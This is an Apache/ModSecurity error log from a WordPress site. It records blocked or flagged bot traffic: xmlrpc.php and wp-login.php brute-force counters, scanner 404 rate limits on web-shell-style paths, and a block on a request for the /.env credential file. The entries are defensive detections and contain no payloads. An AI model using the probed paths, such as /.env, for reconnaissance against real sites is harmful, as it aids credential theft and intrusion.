[Sat Apr 25 07:42:34.711885 2026] [:error] [pid 44425:tid 44430] [client 4.232.190.225:36813] [client 4.232.190.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpreleaseinfo.php"] [unique_id "aev_6iUl-VlItvY2tR8lpAAAAMM"]
[Sat Apr 25 08:56:35.374893 2026] [:error] [pid 44425:tid 44438] [client 177.87.32.205:54036] [client 177.87.32.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.87.32.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRQyUl-VlItvY2tR89sQAAAMs"]
[Sat Apr 25 08:56:45.901766 2026] [:error] [pid 44321:tid 44403] [client 177.87.32.205:54326] [client 177.87.32.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.87.32.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRTY1b5lV-asWa_Y5POQAAAJQ"]
[Sat Apr 25 08:57:18.013411 2026] [:error] [pid 44425:tid 44448] [client 177.87.32.205:54605] [client 177.87.32.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.87.32.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRbiUl-VlItvY2tR899AAAANU"]
[Sat Apr 25 08:57:38.128062 2026] [:error] [pid 46083:tid 46098] [client 177.87.32.205:54490] [client 177.87.32.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.87.32.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRgjxw_Zq74vWdjml64wAAAQs"]
[Sat Apr 25 08:57:48.584756 2026] [:error] [pid 44319:tid 44342] [client 177.87.32.205:54092] [client 177.87.32.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.87.32.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRjMzJPAVLUb2pWtJsxgAAAA0"]
[Sat Apr 25 08:58:00.825690 2026] [:error] [pid 44425:tid 44447] [client 39.35.218.239:64767] [client 39.35.218.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.218.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRmCUl-VlItvY2tR8-DAAAANQ"]
[Sat Apr 25 08:58:14.873120 2026] [:error] [pid 44425:tid 44429] [client 39.35.218.239:65047] [client 39.35.218.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.218.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRpiUl-VlItvY2tR8-GwAAAMI"]
[Sat Apr 25 08:58:27.326079 2026] [:error] [pid 46083:tid 46112] [client 39.35.218.239:65393] [client 39.35.218.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.218.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRszxw_Zq74vWdjml6_QAAARg"]
[Sat Apr 25 08:58:38.668173 2026] [:error] [pid 44425:tid 44435] [client 39.35.218.239:49461] [client 39.35.218.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.218.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRviUl-VlItvY2tR8-MQAAAMg"]
[Sat Apr 25 08:58:51.668054 2026] [:error] [pid 44320:tid 44356] [client 39.35.218.239:2267] [client 39.35.218.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.218.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aewRyzmFqSpku_dij8iSqQAAAEA"]
[Sat Apr 25 09:09:41.307257 2026] [:error] [pid 46083:tid 46088] [client 31.97.220.182:37416] [client 31.97.220.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.220.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aewUVTxw_Zq74vWdjml-nwAAAQE"]
[Sat Apr 25 09:09:43.158114 2026] [:error] [pid 46083:tid 46091] [client 31.97.220.182:37416] [client 31.97.220.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.220.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aewUVzxw_Zq74vWdjml-ogAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 09:33:19.522704 2026] [:error] [pid 44425:tid 44438] [client 162.241.61.45:36872] [client 162.241.61.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.61.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aewZ3yUl-VlItvY2tR9HAQAAAMs"]
[Sat Apr 25 09:33:21.001339 2026] [:error] [pid 44425:tid 44444] [client 162.241.61.45:36872] [client 162.241.61.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.61.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aewZ4SUl-VlItvY2tR9HAgAAANE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 09:51:46.580731 2026] [:error] [pid 44425:tid 44430] [client 163.47.203.80:38422] [client 163.47.203.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.47.203.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeweMiUl-VlItvY2tR9L3wAAAMM"]
[Sat Apr 25 09:51:48.286477 2026] [:error] [pid 44425:tid 44443] [client 163.47.203.80:38422] [client 163.47.203.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.47.203.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeweNCUl-VlItvY2tR9L4wAAANA"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 09:59:11.026506 2026] [:error] [pid 44321:tid 44400] [client 43.157.168.43:43470] [client 43.157.168.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aewf741b5lV-asWa_Y5cAgAAAJE"]
[Sat Apr 25 10:24:08.994211 2026] [:error] [pid 44320:tid 44379] [client 182.44.12.37:53926] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aewlyDmFqSpku_dij8ihGAAAAFc"]
[Sat Apr 25 11:43:23.162426 2026] [:error] [pid 46083:tid 46087] [client 31.97.220.182:45218] [client 31.97.220.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.220.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aew4Wzxw_Zq74vWdjmnCpQAAAQA"]
[Sat Apr 25 11:43:24.918926 2026] [:error] [pid 46083:tid 46105] [client 31.97.220.182:45218] [client 31.97.220.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.220.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aew4XDxw_Zq74vWdjmnCpwAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 11:48:22.448569 2026] [:error] [pid 46083:tid 46096] [client 107.180.112.101:39842] [client 107.180.112.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.112.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aew5hjxw_Zq74vWdjmnEZwAAAQk"]
[Sat Apr 25 11:48:24.304047 2026] [:error] [pid 46083:tid 46095] [client 107.180.112.101:39842] [client 107.180.112.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.112.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aew5iDxw_Zq74vWdjmnEaAAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 12:42:26.617154 2026] [:error] [pid 44319:tid 44339] [client 66.96.183.173:49860] [client 66.96.183.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.96.183.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexGMszJPAVLUb2pWtKK1wAAAAo"]
[Sat Apr 25 13:17:55.770539 2026] [:error] [pid 46083:tid 46101] [client 18.195.155.157:63128] [client 18.195.155.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aexOgzxw_Zq74vWdjmniIAAAAQ4"]
[Sat Apr 25 14:22:04.271754 2026] [:error] [pid 46083:tid 46112] [client 35.226.7.126:45710] [client 35.226.7.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.7.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexdjDxw_Zq74vWdjmnr1QAAARg"]
[Sat Apr 25 14:22:06.991449 2026] [:error] [pid 46083:tid 46095] [client 35.226.7.126:45710] [client 35.226.7.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.7.126, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexdjjxw_Zq74vWdjmnr1gAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 14:28:41.982067 2026] [:error] [pid 44319:tid 44332] [client 69.6.249.150:25092] [client 69.6.249.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.6.249.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexfGczJPAVLUb2pWtKbJAAAAAM"]
[Sat Apr 25 14:28:44.082287 2026] [:error] [pid 44319:tid 44350] [client 69.6.249.150:25092] [client 69.6.249.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.6.249.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexfHMzJPAVLUb2pWtKbJQAAABU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 15:19:30.846010 2026] [:error] [pid 44321:tid 44398] [client 69.49.112.63:40020] [client 69.49.112.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexrAo1b5lV-asWa_Y60RgAAAI8"]
[Sat Apr 25 15:19:32.699949 2026] [:error] [pid 44321:tid 44399] [client 69.49.112.63:40020] [client 69.49.112.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aexrBI1b5lV-asWa_Y60SgAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 16:02:45.981357 2026] [:error] [pid 44425:tid 44444] [client 135.181.180.59:56394] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aex1JSUl-VlItvY2tR-fmgAAANE"]
[Sat Apr 25 16:02:47.910510 2026] [:error] [pid 44320:tid 44366] [client 135.181.180.59:56410] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aex1JzmFqSpku_dij8je-QAAAEo"]
[Sat Apr 25 16:02:49.849978 2026] [:error] [pid 44320:tid 44373] [client 135.181.180.59:56418] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aex1KTmFqSpku_dij8je-wAAAFE"]
[Sat Apr 25 16:02:51.843690 2026] [:error] [pid 44425:tid 44432] [client 135.181.180.59:56432] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aex1KyUl-VlItvY2tR-foAAAAMU"]
[Sat Apr 25 16:03:06.827606 2026] [:error] [pid 46083:tid 46100] [client 135.181.180.59:29352] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aex1Ojxw_Zq74vWdjmkDtgAAAQ0"]
[Sat Apr 25 16:03:08.906925 2026] [:error] [pid 44320:tid 44374] [client 135.181.180.59:29364] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aex1PDmFqSpku_dij8jfBAAAAFI"]
[Sat Apr 25 16:03:10.921909 2026] [:error] [pid 44321:tid 44398] [client 135.181.180.59:29370] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aex1Po1b5lV-asWa_Y69RwAAAI8"]
[Sat Apr 25 16:03:12.831309 2026] [:error] [pid 44321:tid 44407] [client 135.181.180.59:29380] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aex1QI1b5lV-asWa_Y69SgAAAJg"]
[Sat Apr 25 16:03:23.118951 2026] [:error] [pid 44319:tid 44346] [client 135.181.180.59:20050] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aex1S8zJPAVLUb2pWtKxdAAAABE"]
[Sat Apr 25 16:16:46.421267 2026] [:error] [pid 44319:tid 44349] [client 199.180.129.6:40999] [client 199.180.129.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.180.129.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aex4bszJPAVLUb2pWtK0YgAAABQ"]
[Sat Apr 25 16:26:07.918201 2026] [:error] [pid 46083:tid 46093] [client 210.245.90.206:37290] [client 210.245.90.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 210.245.90.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aex6nzxw_Zq74vWdjmkLUAAAAQY"]
[Sat Apr 25 16:26:09.691866 2026] [:error] [pid 46083:tid 46102] [client 210.245.90.206:37290] [client 210.245.90.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 210.245.90.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aex6oTxw_Zq74vWdjmkLVwAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 16:58:39.658079 2026] [:error] [pid 46083:tid 46100] [client 51.79.254.190:42542] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyCPzxw_Zq74vWdjmkayQAAAQ0"]
[Sat Apr 25 16:58:42.001649 2026] [:error] [pid 46083:tid 46087] [client 51.79.254.190:42542] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyCQjxw_Zq74vWdjmkazgAAAQA"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 17:05:32.848695 2026] [:error] [pid 62804:tid 62824] [client 163.61.188.5:57390] [client 163.61.188.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.188.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyD3FcFrMNK-MrDXtPK5wAAAQw"]
[Sat Apr 25 17:05:34.639696 2026] [:error] [pid 62804:tid 62818] [client 163.61.188.5:57390] [client 163.61.188.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.188.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyD3lcFrMNK-MrDXtPK9QAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 17:11:12.603592 2026] [:error] [pid 62804:tid 62815] [client 168.119.146.17:33524] [client 168.119.146.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.146.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyFMFcFrMNK-MrDXtPSmgAAAQM"]
[Sat Apr 25 17:11:14.491022 2026] [:error] [pid 62804:tid 62826] [client 168.119.146.17:33524] [client 168.119.146.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.146.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyFMlcFrMNK-MrDXtPSpgAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 18:08:55.408624 2026] [:error] [pid 16195:tid 16213] [client 65.254.225.213:33638] [client 65.254.225.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeyStzVPLvrpvXaNQOn7kwAAAA8"]
[Sat Apr 25 18:08:56.765360 2026] [:error] [pid 16195:tid 16216] [client 65.254.225.213:33638] [client 65.254.225.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeySuDVPLvrpvXaNQOn7mAAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 18:15:37.792061 2026] [autoindex:error] [pid 16108:tid 16185] [client 20.215.66.169:13690] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:15:40.899933 2026] [autoindex:error] [pid 16108:tid 16190] [client 20.215.66.169:13690] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:15:41.185751 2026] [autoindex:error] [pid 16108:tid 16176] [client 20.215.66.169:13690] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:15:43.033407 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:13690] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyUT4bPF4HSQDj6WrlUPAAAAMM"]
[Sat Apr 25 18:15:43.578043 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13680] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyUT4bPF4HSQDj6WrlUPgAAAMc"]
